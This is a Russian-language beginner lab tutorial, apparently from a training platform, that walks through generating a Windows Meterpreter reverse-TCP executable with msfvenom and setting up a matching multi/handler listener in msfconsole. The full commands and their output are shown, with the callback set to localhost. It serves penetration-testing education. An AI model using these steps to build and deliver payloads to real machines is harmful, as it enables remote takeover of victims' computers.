Генерация автономной полезной нагрузки с помощью msfvenom

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы получите практический опыт работы с msfvenom — командной строкой Metasploit Framework, используемой для генерации полезных нагрузок (payloads). Это комбинация двух более старых инструментов, msfpayload и msfencode, представляющая собой единый мощный инструмент для создания shellcode для широкого спектра целей и в различных форматах.

Основная цель этой лабораторной работы — провести вас через процесс генерации автономного исполняемого файла для Windows. Вы научитесь выбирать полезную нагрузку, настраивать ее параметры, такие как прослушивающий хост и порт, и, наконец, настроите прослушиватель в msfconsole для приема соединения от полезной нагрузки. Все операции будут выполняться в каталоге ~/project.

Список доступных полезных нагрузок с помощью msfvenom --list payloads

На этом шаге вы начнете изучать возможности msfvenom. Первое, что нужно узнать о любом инструменте, — это то, что он умеет делать. Вы можете вывести список всех доступных полезных нагрузок, используя опцию --list payloads. Это даст вам полный список всего shellcode, который msfvenom может генерировать для различных операционных систем, архитектур и приложений.

Выполните следующую команду в вашем терминале, чтобы увидеть полный список полезных нагрузок:

msfvenom --list payloads

Вывод будет очень длинным. В реальной ситуации вы, как правило, будете фильтровать этот список, чтобы найти конкретную полезную нагрузку. Например, если вы нацеливаетесь на машину с Windows, вы можете использовать grep для поиска соответствующих полезных нагрузок. Давайте попробуем найти полезную нагрузку windows/meterpreter/reverse_tcp, которую мы будем использовать на следующих шагах.

msfvenom --list payloads | grep "windows/meterpreter/reverse_tcp"

Вы должны увидеть вывод, похожий на этот, подтверждающий существование полезной нагрузки:

    windows/meterpreter/reverse_tcp                  Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Это подтверждает, что msfvenom может генерировать эту конкретную полезную нагрузку.

Генерация исполняемого файла для Windows с помощью msfvenom -p windows/meterpreter/reverse_tcp

На этом шаге вы выберете конкретную полезную нагрузку для генерации. Основываясь на нашем поиске на предыдущем шаге, мы будем использовать windows/meterpreter/reverse_tcp. Это очень распространенная и мощная полезная нагрузка. Она создает "обратное" соединение с целевой машины обратно к вам, а "Meterpreter" — это продвинутая, многофункциональная оболочка, которая позволяет проводить обширные действия после эксплуатации.

Чтобы выбрать полезную нагрузку в msfvenom, вы используете опцию -p (или --payload). Давайте попробуем собрать команду, выбрав только полезную нагрузку.

Выполните следующую команду в вашем терминале:

msfvenom -p windows/meterpreter/reverse_tcp

Вы заметите, что эта команда завершается ошибкой. Это ожидаемо.

[-] No options configured yet, getting options from payload...
[-] > LHOST is a required option
Error: LHOST is a required option

В выводе четко указано, что LHOST является обязательной опцией. Это связано с тем, что полезная нагрузка reverse TCP должна знать, к какому IP-адресу подключаться обратно. На следующем шаге мы предоставим эту необходимую информацию.

Установка LHOST и LPORT для полезной нагрузки

На этом шаге вы предоставите необходимые опции для корректной работы полезной нагрузки. Как указано в сообщении об ошибке из предыдущего шага, нам нужно установить LHOST.

  • LHOST: Это сокращение от "Listening Host" (Прослушивающий хост). Это IP-адрес машины, на которой вы будете ожидать входящее соединение от полезной нагрузки. Для этой лаборатории мы будем запускать прослушиватель на той же машине, поэтому мы можем использовать IP-адрес обратной петли, 127.0.0.1.
  • LPORT: Это сокращение от "Listening Port" (Прослушивающий порт). Это порт на LHOST, к которому будет привязан прослушиватель. Вы можете выбрать любой непривилегированный порт, который не используется. Распространенным выбором для этого является 4444.

Вы можете установить эти опции непосредственно в командной строке. Давайте добавим LHOST и LPORT к нашей предыдущей команде:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444

После выполнения этой команды вы увидите большой блок символов, выведенных непосредственно в ваш терминал. Это необработанный shellcode для полезной нагрузки.

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
<...raw bytes will be printed here...>

Это не очень полезно как отдельный файл. На следующем шаге вы узнаете, как отформатировать этот необработанный shellcode в исполняемый файл.

Указание формата вывода и имени файла с помощью -f exe и -o

На этом шаге вы завершите создание полезной нагрузки, указав ее формат и сохранив в файл. Вывод необработанного shellcode в терминал непрактичен для доставки. Нам нужно упаковать его в формат, который операционная система цели может выполнить.

msfvenom предоставляет две важные опции для этого:

  • -f или --format: Эта опция указывает формат вывода. Поскольку наша цель — Windows, мы будем использовать формат exe для создания стандартного исполняемого файла Windows.
  • -o или --out: Эта опция указывает путь и имя файла для выходного файла.

Давайте объединим все изученные нами опции в одну финальную команду. Эта команда сгенерирует исполняемый файл Windows с именем payload.exe в вашем текущем каталоге (~/project).

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o payload.exe

После завершения команды вы увидите подтверждение создания полезной нагрузки:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
Found 1 compatible encoder
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

Вы можете проверить, что файл был создан, используя команду ls -l:

ls -l payload.exe

Вывод должен показать только что созданный файл:

-rwxr-xr-x 1 labex labex 73802 May 20 10:00 payload.exe

Теперь вы успешно сгенерировали автономный файл полезной нагрузки.

Создание прослушивателя в msfconsole для перехвата соединения

На этом шаге вы настроите прослушиватель для обработки соединения от только что созданной полезной нагрузки. Полезная нагрузка бесполезна, если у вас нет средства для "перехвата" обратного соединения, которое она устанавливает. Для этого мы будем использовать msfconsole, основной интерфейс Metasploit Framework.

Сначала запустите msfconsole. Использование флага -q позволяет запустить его в тихом режиме без отображения баннера, что выглядит чище.

msfconsole -q

Ваш приглашение изменится на msf6 >. Теперь вам нужно настроить обработчик для прослушивания входящего соединения. Настройки обработчика должны точно соответствовать настройкам, которые вы использовали для генерации полезной нагрузки.

  1. Используйте модуль exploit/multi/handler. Это универсальный обработчик для входящих соединений.

    use exploit/multi/handler
  2. Установите полезную нагрузку, соответствующую той, которую вы сгенерировали.

    set payload windows/meterpreter/reverse_tcp
  3. Установите LHOST на тот же IP-адрес.

    set LHOST 127.0.0.1
  4. Установите LPORT на тот же порт.

    set LPORT 4444
  5. Наконец, запустите прослушиватель.

    run

msfconsole теперь отобразит сообщение о запуске прослушивателя.

[*] Started reverse TCP handler on 127.0.0.1:4444

На этом этапе прослушиватель активен и ожидает. В реальной атаке вы бы передали payload.exe на целевую машину Windows и выполнили его. При выполнении он бы подключился обратно к этому прослушивателю, и вы бы получили сессию Meterpreter. Поскольку в этой лаборатории у нас нет целевой машины Windows, мы не увидим соединения. Цель здесь — изучить полный процесс генерации полезной нагрузки и настройки соответствующего прослушивателя.

Чтобы выйти из прослушивателя, нажмите Ctrl + C. Чтобы выйти из msfconsole, введите exit и нажмите Enter.

exit

Резюме

В этой лаборатории вы успешно освоили основы генерации автономных полезных нагрузок с помощью msfvenom. Вы отработали весь рабочий процесс, от изучения доступных полезных нагрузок до создания финального исполняемого файла и настройки прослушивателя для обработки его соединения.

Теперь вы знакомы с ключевыми опциями msfvenom, включая:

  • --list payloads для просмотра доступных полезных нагрузок.
  • -p для выбора конкретной полезной нагрузки, такой как windows/meterpreter/reverse_tcp.
  • LHOST и LPORT для настройки деталей соединения полезной нагрузки.
  • -f для установки формата вывода (например, exe).
  • -o для сохранения полезной нагрузки в файл.

Кроме того, вы узнали, как использовать exploit/multi/handler в msfconsole для создания прослушивателя, соответствующего конфигурации вашей полезной нагрузки. Эти знания составляют критически важную основу для многих задач тестирования на проникновение и исследований в области безопасности.